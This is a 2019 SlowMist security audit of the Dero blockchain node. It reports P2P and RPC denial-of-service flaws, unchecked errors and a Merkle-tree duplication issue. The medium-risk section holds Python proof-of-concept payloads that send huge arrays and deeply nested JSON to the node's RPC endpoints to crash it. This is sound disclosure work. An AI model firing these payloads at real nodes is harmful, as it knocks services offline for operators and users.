



Dero Security Audit Report



Catalog

1 Executive Summary.....	2
2 Context.....	3
2.1 Project Introduce.....	3
2.2 Audit Scope.....	3
3 Code Overview.....	4
3.1 Contents Structure.....	4
3.2 Ledger Structure.....	9
3.3 RPC Interface List.....	10
3.4 External Reference Library.....	11
4 Result.....	12
4.1 The Actual Points Covered In Audit.....	12
4.2 High-risk Vulnerabilities.....	13
4.2.1 P2P Protocol Crash.....	13
4.3 Medium-risk Vulnerability.....	16
4.3.1 RPC Interface Crash.....	16
4.4 Low-Risk Vulnerabilities.....	18
4.4.1 Code Logic Problems.....	18
4.5 Improvements.....	22
4.5.1 Abandoned code.....	22
4.6 Conclusion.....	24
5 Statement.....	24

1 Executive Summary

The SlowMist Team received the Dero team's application for Dero security test in April 29,2019, according to the agreement of both parties and the characteristics of the project, make the audit plan, and finally issue the security audit report.

SlowMist security team will adopt the strategy of "mainly black and gray, supplemented by white box to conduct a complete security test on the project side in the manner closest to the real attack.

The Slow Mist Technology Blockchain System Test Methods:

Black Box	Penetration testing from the outside from the attacker's point of view.
Grey Box	Observe the internal running state and mining weaknesses through the script to the code module security test.
White Box	Based on open source and unopened source code, vulnerability mining is carried out for programs such as node and SDK.

The Risk level of blockchain system of SlowMist:

Serious Vulnerabilities	Serious vulnerabilities will have a significant impact on the security of the blockchain, and it is strongly recommended to fix serious vulnerabilities.
High-risk Vulnerabilities	High-risk vulnerabilities will affect the normal operation of the blockchain, and it is strongly recommended to fix high-risk vulnerabilities.
Medium-risk Vulnerability	Medium-risk vulnerabilities will affect the operation of blockchain, and it is suggested to fix medium risk vulnerability.
Low-Risk Vulnerabilities	Low-risk vulnerabilities may affect the operation of the blockchain in certain scenarios. It is suggested that the project side should evaluate and consider

	whether these problems need to be fixed.
Weakness	There are safety hazards in theory, but they are extremely difficult to reproduce in engineering.
Enhancement Suggestions	Better practices exist for coding or architecture.

2 Context

2.1 Project Introduce

Dero is the first crypto project to combine a Proof of Work blockchain with a DAG block structure and wholly anonymous transactions. The fully distributed ledger processes transactions with a twelve-second average block time and is secure against majority hashrate attacks. Dero will be the first CryptoNote blockchain to have smart contracts on its native chain without any extra layers or secondary blockchains.

Official Website:

<https://dero.io/>

Github:

<https://github.com/deroproject/derosuite>

Audit Version:

commit: 9ab209ded6ee6d9e279d99c96139903efc71226d

Main Programming Language:

Golang

2.2 Audit Scope

The audit team will adopt the strategy of "mainly black and gray, supplemented by white box" to

conduct a complete security test on the project side in the manner closest to the real attack.

The primary entry point and scope for security testing is the agreement in the "audit objectives" and is extended to contexts outside the scope as required by the actual test. The main types of this security audit include:

- (1) *Golang coding security audit*
- (2) *P2P security audit*
- (3) *RPC security audit*
- (4) *Account and transaction model security (include: "false top-up" risk, private key security)*
- (5) *Consensus security (include: double spend risk)*

(Other unknown security vulnerabilities are not covered by this audit)

3 Code Overview

3.1 Contents Structure

```
.
├── Captain_Dero_pub.txt
├── LICENSE
├── README.md
├── address
│   ├── LICENSE
│   ├── address.go
│   ├── address_test.go
│   └── base58.go
├── block
│   ├── LICENSE
│   ├── block.go
│   └── block_test.go
├── blockchain
│   ├── block_chain_input.go
│   ├── blockchain.go
│   ├── blockheader.go
│   ├── caller.go
│   ├── const.go
│   ├── create_miner_tx.go
│   ├── create_miner_tx_test.go1
│   └── difficulty.go
```

```
| |—— difficulty_test.go
| |—— genesis.go
| |—— genesis_test.go
| |—— hardfork_core.go
| |—— hardfork_core_test.go
| |—— inputmaturity
| |—— median.go
| |—— median_test.go
| |—— mempool
| |—— miner_block.go
| |—— outputs_index.go
| |—— rpcserver
| |—— sc.go
| |—— scores_test.go
| |—— store.go
| |—— transaction_verify.go
| |—— tx_fees.go
|—— build_all.sh
|—— build_package.sh
|—— checkpoints
| |—— checkpoints.go
| |—— dummy_test.go
| |—— mainnet_checksums.dat
| |—— mainnet_checksums.go
| |—— testnet_checksums.dat
| |—— testnet_checksums.go
|—— cmd
| |—— dero-wallet-cli
| |—— derod
| |—— dvm
| |—— explorer
| |—— webwallet
|—— config
| |—— LICENSE
| |—— config.go
| |—— dummy_test.go
| |—— seed_nodes.go
| |—— updates.go
| |—— version.go
|—— crypto
| |—— LICENSE
| |—— common_fe.go
| |—— const.go
| |—— crypto_test.go
| |—— edwards25519.go
```

```
| |—— edwards25519_fe_amd64.go
| |—— edwards25519_fe_square_amd64.s
| |—— edwards25519_femul_amd64.s
| |—— edwards25519_field.go
| |—— edwards25519_test.go
| |—— edwards_25519_group.go
| |—— edwards_25519_scalar.go
| |—— edwards_const.go
| |—— edwards_const_amd64.go
| |—— edwards_const_amd64_gen.go
| |—— edwards_const_general.go
| |—— edwards_general.go
| |—— hash.go
| |—— keccak.go
| |—— keccak_test.go
| |—— key.go
| |—— merkle.go
| |—— precompute.go
| |—— public_private_test.go
| |—— ringct
| |—— scrypt.go
| |—— scrypt_test.go
| |—— signature.go
| |—— tests_data.txt
|—— cryptonight
| |—— LICENSE
| |—— aes_amd64.s
| |—— all.go
| |—— cryptonight.go
| |—— cryptonight_test.go
| |—— cryptonightv7.go
| |—— cryptonightv7_test.go
| |—— hash.go
| |—— jhash.go
| |—— keccak.go
| |—— x86.go
|—— dvm
| |—— deterministic_random_number.go
| |—— deterministic_random_number_test.go
| |—— dvm.go
| |—— dvm_execution_test.go
| |—— dvm_functions.go
| |—— dvm_functions_test.go
| |—— dvm_parse_test.go
| |—— dvm_store.go
```

```
|   └── dvm_store_memory.go
├── emission
|   ├── LICENSE
|   ├── emission.go
|   ├── emission_dataset_fees_test.go
|   ├── emission_dataset_test.go
|   └── emission_test.go
├── errormsg
|   └── errormsg.go
├── globals
|   ├── LICENSE
|   ├── dummy_test.go
|   ├── globals.go
|   ├── log.go
|   ├── random.go
|   └── struct.go
├── license.txt
├── licenses
|   ├── aead.skein.license.txt
|   ├── bolt.license.txt
|   ├── docopt.license.txt
|   ├── efbe.keccak.license.txt
|   ├── fastjson.license.txt
|   ├── go.license.txt
|   ├── goleveldb.license.txt
|   ├── humanize.license.txt
|   ├── jsonrpc.license.txt
|   ├── jsonschema.license.txt
|   ├── logrus.license.txt
|   ├── msgpack.license.txt
|   ├── ratecounter.license.txt
|   ├── readline.license.txt
|   ├── README.txt
|   ├── rlog.license.txt
|   ├── semver.license.txt
|   ├── snappy.license.txt
|   ├── stack.license.txt
|   ├── uuid.license.txt
|   ├── vmihailenco.msgpack.license.txt
|   ├── x11-license.txt
|   └── ybus.license.txt
├── metrics
|   └── metrics.go
├── p2p
└── README.md
```


- | | | bans.go
- | | | chain_request.go
- | | | chain_response.go
- | | | connection_handler.go
- | | | connection_pool.go
- | | | controller.go
- | | | handshake.go
- | | | median.go
- | | | median_test.go
- | | | notification.go
- | | | object_pool.go
- | | | object_request.go
- | | | object_response.go
- | | | peer.go
- | | | peer_pool.go
- | | | timedsync.go
- | | | wire_structs.go
- | | proof
- | | | proof.go
- | | | proof_test.go
- | | storage
- | | | LICENSE
- | | | badgerdb.go
- | | | boltdb.go
- | | | dummy_test.go
- | | | interface.go
- | | structures
- | | | daemon_rpc.go
- | | | structs.go
- | | | wallet_rpc.go
- | | transaction
- | | | LICENSE
- | | | sc_transaction.go
- | | | signature.go
- | | | transaction.go
- | | | transaction_bulletproof_full_test.go
- | | | transaction_bulletproof_test.go
- | | | transaction_extra.go
- | | | transaction_extra_test.go
- | | | transaction_ringct_test.go
- | | | transaction_test.go
- | | vendor
- | | | github.com
- | | | gitlab.com
- | | | golang

```
|   └── golang.org
└── walletapi
    ├── LICENSE
    ├── cipher.go
    ├── cipher_test.go
    ├── daemon_communication.go
    ├── db.go
    ├── db_mem.go
    ├── db_test.go
    ├── key_to_key.go
    ├── mnemonics
    ├── rpc_get_bulk_payments.go
    ├── rpc_get_transfer_by_txid.go
    ├── rpc_getaddress.go
    ├── rpc_getbalance.go
    ├── rpc_getheight.go
    ├── rpc_gettransfers.go
    ├── rpc_make_integrated_address.go
    ├── rpc_query_key.go
    ├── rpc_split_integrated_address.go
    ├── rpc_transfer.go
    ├── rpc_transfersplit.go
    ├── rpcserver.go
    ├── tx_creation_test.go
    ├── wallet.go
    ├── wallet_test.go
    ├── wallet_transfer.go
    └── walletapi.test.log
```

3.2 Ledger Structure

```
/*block header*/
type Block_Header struct {
    Major_Version uint64           `json:"major_version"`
    Minor_Version uint64           `json:"minor_version"`
    Timestamp      uint64           `json:"timestamp"`
    Nonce          uint32           `json:"nonce"` // TODO make nonce 32 byte array for infinite work
    capacity
    ExtraNonce     [32]byte         `json:"- "`
    Miner_TX       transaction.Transaction `json:"miner_tx"`
}

/* block*/
type Block struct {
```

```
Block_Header
Proof    [32]byte    `json:"- "` // Reserved for future
Tips     []crypto.Hash `json:"tips"`
Tx_hashes []crypto.Hash `json:"tx_hashes"`
}

/* complete block*/
type Complete_Block struct {
    Bl *Block
    Txs []*transaction.Transaction
}

/* transaction prefix */
type Transaction_Prefix struct {
    Version      uint64 `json:"version"`
    Unlock_Time  uint64 `json:"unlock_time"` // used to lock first output
    Vin          []Txin_v
    Vout         []Tx_out
    Extra        []byte
    Extra_map    map[EXTRA_TAG]interface{} `json:"- "` // all information parsed from extra is placed
here
    PaymentID_map map[EXTRA_TAG]interface{} `json:"- "` // payments id parsed or set are placed her
    ExtraType     byte    `json:"- "` // NOT used, candidate for deletion
}

/* transaction structure */
type Transaction struct {
    Transaction_Prefix
    // same as Transaction_Prefix
    // Signature not sure of what form
    Signature []Signature_v1 `json:"- "` // old format, the array size is always equal to vin length,
//Signature_RCT RCT_Signature // version 2

    RctSignature *ringct.RctSig
    Expanded     bool `json:"- "`
}
```

3.3 RPC Interface List

```
getblockcount
get_info
getblocktemplate
submitblock
getlastblockheader
```

```
getblockheaderbyhash  
getblockheaderbytopoheight  
getblockheaderbyheight  
getblock  
gettxpool  
getheight  
gettransactions  
Sendrawtransaction  
is_key_image_spent
```

3.4 External Reference Library

```
github.com/intel-go/fastjson  
github.com/osamingo/jsonrpc  
github.com/ebfe/keccak  
github.com/romana/rlog  
golang.org/x/crypto/sha3  
github.com/sirupsen/logrus  
github.com/golang/groupcache/lru  
github.com/hashicorp/golang-lru  
github.com/prometheus/client_golang/prometheus  
golang.org/x/time/rate  
github.com/vmihailenco/msgpack  
github.com/prometheus/client_golang/prometheus/promhttp  
github.com/chzyer/readline  
github.com/docopt/docopt-go  
github.com/ybbus/jsonrpc  
github.com/satori/go.uuid  
github.com/blang/semver  
github.com/aead/skein  
github.com/dchest/blake256  
golang.org/x/crypto/salsa20/salsa  
golang.org/x/net/proxy  
github.com/paulbellamy/ratecounter  
github.com/dustin/go-humanize  
github.com/dgraph-io/badger/options  
github.com/dgraph-io/badger  
github.com/coreos/bbolt  
github.com/aead/skein/threefish  
github.com/prometheus/procfss  
github.com/golang/protobuf/proto  
google.golang.org/grpc  
github.com/golang/protobuf/protoc-gen-go/testdata/extension_base  
github.com/golang/protobuf/protoc-gen-go/testdata/extension_extra
```

`github.com/golang/protobuf/protoc-gen-go/testdata/import_public/sub`

4 Result

4.1 The Actual Points Covered In Audit

Mainnet Building and Debugging

Go Static analysis

RPC Interface Debugging

P2P Protocol Debugging

Risk of “false top-up”

Private Key Security

P2P:

DoS

Fuzz Test

Multi-connection Test

Oversized handshake packet Test

Address Pool Pollution Test

Sybil Attack

Eclipse Attack

RPC:

Fuzz Test

CORS

Unauthorized Access Vulnerability

Large Depth JSON Attack

Large JSON Key Attack

Large JSON Value Attack

Consensus Security:

Block Verification

Transaction Verification

Transaction Reply Attack

Merkel tree:

Merkel tree Vulnerability

Transaction Malleability

Replay Attack

4.2 High-risk Vulnerabilities

4.2.1 P2P Protocol Crash

(1) Problem Position

p2p/chain_request.go Line: 83 - 169

In the `Handle_ChainRequest` method, there is no restriction on the maximum value of `request.block_list`. Anyone can pass in a very large `request.block_list` and loop through to line 120, which can fill up CPU or memory and cause a crash.

The `request.Block_list` has no max length limit in `Send_chainRequest` method when the method was initiated, but it was limited on generating. It is suggested to make a compliance check for

all receiving data.

```
    for i := 0; i < len(request.Block_list); i++ { // find the common point in our chain ( the block
is NOT orphan)

        //connection.Logger.Infof("Checking block for chain detection %d %s", i,
request.Block_list[i])

        if chain.Block_Exists(nil, request.Block_list[i]) &&
chain.Is_Block_Topological_order(nil, request.Block_list[i]) &&
request.TopoHeights[i] == chain.Load_Block_Topological_order(nil,
request.Block_list[i]) {
            start_height = chain.Load_Height_for_BL_ID(nil, request.Block_list[i])
            start_topoheight = chain.Load_Block_Topological_order(nil,
request.Block_list[i])
            rlog.Tracef(2, "Found common point in chain at hash %x height %d
topoheight %d\n", request.Block_list[i], start_height, start_topoheight)
            break
        }
    }
}
```

(2) Problem Position

p2p/chain_response.go Line: 51 - 62

It is suggest to add "return" after executing connection.Exit(), or the program will continue and causes unexpected errors, because there are other use of connection below, such as line 84.

```
select {
    case expected = <-connection.Objects:

        default: // if nothing is on queue the peer sent us bogus request,
            rlog.Warnf("Peer sent us a chain response, when we didnot request chain, Exiting, may
be block the peer %s", connection.logid)
            connection.Exit()
        }

    if expected.Command != V2_COMMAND_CHAIN_RESPONSE {
        rlog.Warnf("We were waiting for a different object, but peer sent something else, Exiting,
may be block the peer %s", connection.logid)
        connection.Exit()
    }
}
```

```
// we were expecting something else ban
if len(response.Block_list) < 1 {
    rlog.Warnf("Malformed chain response %s", err, connection.logid)
    connection.Exit()
    return
}

rlog.Tracef(2, "Peer wants to give chain from topoheight %d ", response.Start_height)
_ = config.STABLE_LIMIT

// we do not need reorganisation if deviation is less than or equal to 7 blocks
// only pop blocks if the system has somehow deviated more than 7 blocks
// if the deviation is less than 7 blocks, we internally reorganise everything
if chain.Load_TOPO_HEIGHT(nil)-response.Start_topoheight >= config.STABLE_LIMIT &&
connection.SyncNode {
    // get our top block
    rlog.Infof("rewinding status our %d peer %d", chain.Load_TOPO_HEIGHT(nil),
response.Start_topoheight)
    pop_count := chain.Load_TOPO_HEIGHT(nil) - response.Start_topoheight
    chain.Rewind_Chain(int(pop_count)) // pop as many blocks as necessary

    // we should NOT queue blocks, instead we sent our chain request again
    connection.Send_ChainRequest()
    return
}
}
```

(3) Problem Position

p2p/chain_response.go Line: 108

There has a same problem that has no check of max length of response.TopBlocks data, which also lead to a huge loop and cause the memory and CPU to be exhausted.

```
if (response.Common.TopoHeight - chain.Load_TOPO_HEIGHT(nil)) <= 5 {
    for i := range response.TopBlocks {
        if !chain.Block_Exists(nil, response.TopBlocks[i]) {

            connection.Send_ObjectRequest([]crypto.Hash{response.TopBlocks[i]}, []crypto.Hash{})
            rlog.Tracef(2, "Queuing ALT-TIP block %x %s",
response.TopBlocks[i], connection.logid)

        }
    }
}
```



```
    }  
}
```

4.3 Medium-risk Vulnerability

4.3.1 RPC Interface Crash

(1) Problem Position

blockchain/rpcserver/gettransactions.go Line: 43, 60

gettransactions gettransactions_fill, has no check for input parameter, anyone can pass a huge txs_hashes list that casue the crash of the node

PoC:

```
import requests  
import json  
headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  
           'Accept-Charset': 'GB2312,utf-8;q=0.7,*;q=0.7',  
           'Accept-Language': 'zh-cn,zh;q=0.5',  
           'Cache-Control': 'max-age=0',  
           'User-Agent': 'Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.14) Gecko/20110221 Ubuntu/10.10  
(maverick) Firefox/3.6.14',  
           'Content-Type': 'application/json'}  
  
url = 'http://127.0.0.1:9999/gettransactions'  
data = '{"txs_hashes":[" + '"6b9a1968a8ad16386fae7e84ea3f7d362ffa22abc7ee0f25ee0b699d8d5a19b6"', ' *  
0xffffffff + '"6b9a1968a8ad16386fae7e84ea3f7d362ffa22abc7ee0f25ee0b699d8d5a19b6"]}'}  
  
try:  
    resp = requests.post(url=url, headers=headers, data=data)  
    print(resp.content)  
except requests.exceptions.ConnectionError as e:  
    print(e)
```

(2) Other Position

After analysis and test, the following methods are also have the problem of Crash:

- Method: getblockheaderbytopoheight

PoC:

```
url = 'http://127.0.0.1:9999/json_rpc'  
data = '{"jsonrpc":"2.0", "id":"1", "method":"getblockheaderbytopoheight", "params":'+ '{"slowmist":' *  
0xffffffff + '""}' + '}' * 0xffffffff + '}'
```

- Method: getblockheaderbyheight

PoC:

```
url = 'http://127.0.0.1:9999/json_rpc'  
data = '{"jsonrpc":"2.0", "id":"1", "method":"getblockheaderbyheight", "params":'+ '{"slowmist":' *  
0xffffffff + '""}' + '}' * 0xffffffff + '}'
```

- Method: getblock

PoC:

```
url = 'http://127.0.0.1:9999/json_rpc'  
data = '{"jsonrpc":"2.0", "id":"1", "method":"getblock", "params":'+ '{"slowmist":' * 0xffffffff + '""}' + '}' *  
0xffffffff + '}'
```

- Method: getblocktemplate

PoC:

```
url = 'http://127.0.0.1:9999/json_rpc'  
data = '{"jsonrpc":"2.0", "id":"1", "method":"getblocktemplate", "params":'+ '{"slowmist":' * 0xffffffff +  
'""}' + '}' * 0xffffffff + '}'
```

- Method: getblockheaderbyhash

PoC:

```
url = 'http://127.0.0.1:9999/json_rpc'  
data = '{"jsonrpc":"2.0", "id":"1", "method":"getblockheaderbyhash", "params":'+ '{"slowmist":' * 0xffffffff  
+ '""}' + '}' * 0xffffffff + '}'
```

- Method: is_key_image_spent

PoC:

```
url = 'http://127.0.0.1:9999/is_key_image_spent'  
data = '{"key_images":[" + "6b9a1968a8ad16386fae7e84ea3f7d362ffa22abc7ee0f25ee0b699d8d5a19b6", ' *  
0xffffffff + "6b9a1968a8ad16386fae7e84ea3f7d362ffa22abc7ee0f25ee0b699d8d5a19b6"]}'
```

4.4 Low-Risk Vulnerabilities

4.4.1 Code Logic Problems

(1) Problem Position

blockchain/blockchain.go Line: 378

The Get_Top_ID method here will return a log and blid when error(err!=nil) , which is the same as the no error case. So it should not return blid when it is normal.

```
func (chain *Blockchain) Get_Top_ID() crypto.Hash {
    topo_height := chain.Load_TOPO_HEIGHT(nil)

    blid, err := chain.Load_Block_Topological_order_at_index(nil, topo_height)
    if err != nil {
        logger.Warnf("Cannot get block at topoheight %d err: %s", topo_height, err)
        return blid
    }

    return blid
}
```

(2) Problem Position

blockchain/outputs_index.go Line: 472

While error , here will get a prompt but not get return, so the program will continue. But the tx value is unexpected and there is operation for tx in 478-482, which will finally cause the program unexpect running.

```
for i := 0; i < len(bl.Tx_hashes); i++ { // Load all tx one by one

    // follow client protocol and skip some transactions
    if !chain.IS_TX_Valid(nil, block_id, bl.Tx_hashes[i]) { // skip invalid TX
        continue
    }

    if bl.Tx_hashes[i] == tx_hash {
        return offset
    }
}
```

```
    }
    tx, err := chain.Load_TX_FROM_ID(nil, bl.Tx_hashes[i])
    if err != nil {
        rlog.Warnf("Cannot load tx for %s err %s", bl.Tx_hashes[i], err)
    }

    // tx has been loaded, now lets get the vout
    //vout_count := int64(len(tx.Vout))
    vout_count:= int64(0)
    var zero crypto.Key
    for j := uint64(0); j < uint64(len(tx.Vout)); j++ {
        if crypto.Key(tx.Vout[j].Target.(transaction.Txout_to_key).Key) != zero
{ // cut SC inputs from outputs
            vout_count++
        }
    }

    offset += vout_count
}
```

(3) Other Position

The code listed below are not throw the error or get return when err != nil, so even if something goes wrong, the program will continue execute and some parameter has no value because of the error but used in the code later, which will cause the process error and stop.

blockchain/blockchain.go Line: 201

```
    dbtx, err := chain.store.BeginTX(true)
    if err != nil {
        logger.Warnf("Could NOT add block to chain. Error opening writable TX, err %s",
err)

        // return
    }
    chain.Store_BL(dbtx, &bl)
```

blockchain/hardfork_core.go Line: 168

```
    bl, err := chain.Load_BL_FROM_ID(nil, block_id)
    if err != nil {
```

```
        logger.Warnf("err loading block (%s) at topo height %d err %s", block_id, topoheight,
err)
    }

    height := chain.Load_Height_for_BL_ID(nil, block_id)

    version = chain.Get_Current_Version_at_Height(height)

    // check top block to see if the network is going through a hard fork
    if bl.Major_Version != bl.Minor_Version { // network is going through voting
        state = 0
        enabled = false
    }
```

blockchain/sc.go Line: 137

```
        serialized, err := msgpack.Marshal(sc_parsed)

        if err != nil {
            fmt.Printf("err serial SC err %s\n", err)
        }

        dbtx.StoreObject(BLOCKCHAIN_UNIVERSE, GALAXY_TRANSACTION, tx_hash[:],
PLANET_TX_SC_PROCESSED, serialized)
```

blockchain/store.go Line: 400

```
        height, err := dbtx.LoadUint64(BLOCKCHAIN_UNIVERSE, GALAXY_TRANSACTION, txhash[:],
PLANET_TX_MINED_IN_BLOCK)
        if err != nil {
            logger.Warnf("Error while querying height for tx %s", txhash)
        }
        return int64(height)
```

blockchain/store.go Line: 822

```
        timestamp, err := dbtx.LoadUint64(BLOCKCHAIN_UNIVERSE, GALAXY_BLOCK, hash[:], PLANET_TIMESTAMP)
        if err != nil {
            logger.Warnf("Error while querying timestamp for block %s", hash)
            logger.Panicf("Error while querying timestamp for block %s", hash)
```

```
}  
  
return int64(timestamp)
```

blockchain/store.go Line: 849

```
cdifficulty_bytes, err := dbtx.LoadObject(BLOCKCHAIN_UNIVERSE, GALAXY_BLOCK, hash[:],  
PLANET_CUMULATIVE_DIFFICULTY)  
  
//cdifficulty, err := chain.store.LoadUint64(BLOCKCHAIN_UNIVERSE, GALAXY_BLOCK, hash[:],  
PLANET_CUMULATIVE_DIFFICULTY)  
  
if err != nil {  
    logger.Warnf("Error while querying cumulative difficulty for block %s", hash)  
    logger.Panicf("Error while querying cumulative difficulty for block %s", hash)  
}  
  
return new(big.Int).SetBytes(cdifficulty_bytes)
```

blockchain/store.go Line: 872

```
difficulty_bytes, err := dbtx.LoadObject(BLOCKCHAIN_UNIVERSE, GALAXY_BLOCK, hash[:],  
PLANET_DIFFICULTY)  
  
if err != nil {  
    logger.Warnf("Error while querying difficulty for block %s", hash)  
    logger.Panicf("Error while querying difficulty for block %s", hash)  
}  
  
//return difficulty  
return new(big.Int).SetBytes(difficulty_bytes)
```

blockchain/store.go Line: 898

```
block_reward, err := dbtx.LoadUint64(BLOCKCHAIN_UNIVERSE, GALAXY_BLOCK, hash[:],  
PLANET_BASEReward)  
  
if err != nil {  
    logger.Warnf("Error while querying base_reward for block %s", hash)  
}  
  
}
```

```
return block_reward
```

blockchain/store.go Line: 921

```
block_reward, err := dbtx.LoadUint64(BLOCKCHAIN_UNIVERSE, GALAXY_BLOCK, hash[:],  
PLANET_MINERTX_REWARD)  
if err != nil {  
    logger.Warnf("Error while querying base_reward for block %s", hash)  
}  
  
return block_reward
```

blockchain/store.go Line: 977

```
size, err := dbtx.LoadUint64(BLOCKCHAIN_UNIVERSE, GALAXY_BLOCK, hash[:], PLANET_SIZE)  
if err != nil {  
    logger.Warnf("Error while querying size for block %s", hash)  
}  
  
return size
```

4.5 Improvements

4.5.1 Abandoned code

(1) Problem Position

crypto/merkle.go Line: 128

In the 128 line of file crypto/merkle.go, when `merkles[i+1] == nil`, in an other word, that means when `arraySize` is an odd number and `merkles[i+1]` is empty, `newHash := HashMerkleBranches(merkles[i], merkles[i])` will be executed and copy `merkles[i]` again, which lead to a double spend. After communication, this is abandoned code and suggested to delete.

Anyone can construct newHash as follow:

Even number newHash := HashMerkleBranches(merkles[i], merkles[i+1])

Odd number newHash := HashMerkleBranches(merkles[i], merkles[i])

By constructing merkles[i] == merkles[i+1] there will exist two same hash and lead to double spend.

```
for i := 0; i < arraySize-1; i += 2 {
    switch {
        // When there is no left child node, the parent is nil too.
        case merkles[i] == nil:
            merkles[offset] = nil

        // When there is no right child, the parent is generated by
        // hashing the concatenation of the left child with itself.
        case merkles[i+1] == nil:
            newHash := HashMerkleBranches(merkles[i], merkles[i])
            merkles[offset] = newHash

        // The normal case sets the parent node to the hash of the
        // concatenation of the left and right children.
        default:
            newHash := HashMerkleBranches(merkles[i], merkles[i+1])
            merkles[offset] = newHash
    }
    offset++
}
```

```
func BuildMerkleTreeStore(hashes []Hash) []*Hash {
    // If there's an empty stake tree, return totally zeroed out merkle tree root
    // only.
    if len(hashes) == 0 {
        merkles := make([]*Hash, 1)
        merkles[0] = &Hash{}
        return merkles
    }
}
```


4.6 Conclusion

Audit Result: Passed

Audit Result: BCA001905210001

Audit Result: May 21,2019

Audit Team: SlowMist Security Team

Comprehensive conclusion: After feedback and correction, all found problems will be fixed in a later release.

5 Statement

SlowMist only issues this report based on the fact that has occurred or existed before the report is issued, and bears the corresponding responsibility in this regard. For the facts occur or exist later after the report, SlowMist cannot judge the security status of its smart contract. SlowMist is not responsible for it. The security audit analysis and other contents of this report are based on the documents and materials provided by the information provider to SlowMist as of the date of this report (referred to as "the provided information"). SlowMist assumes that: there has been no information missing, tampered, deleted, or concealed. If the information provided has been missed, modified, deleted, concealed or reflected and is inconsistent with the actual situation, SlowMist will not bear any responsibility for the resulting loss and adverse effects. SlowMist will not bear any responsibility for the background or other circumstances of the project.



官方网址

www.slowmist.com

电子邮箱

team@slowmist.com

微信公众号

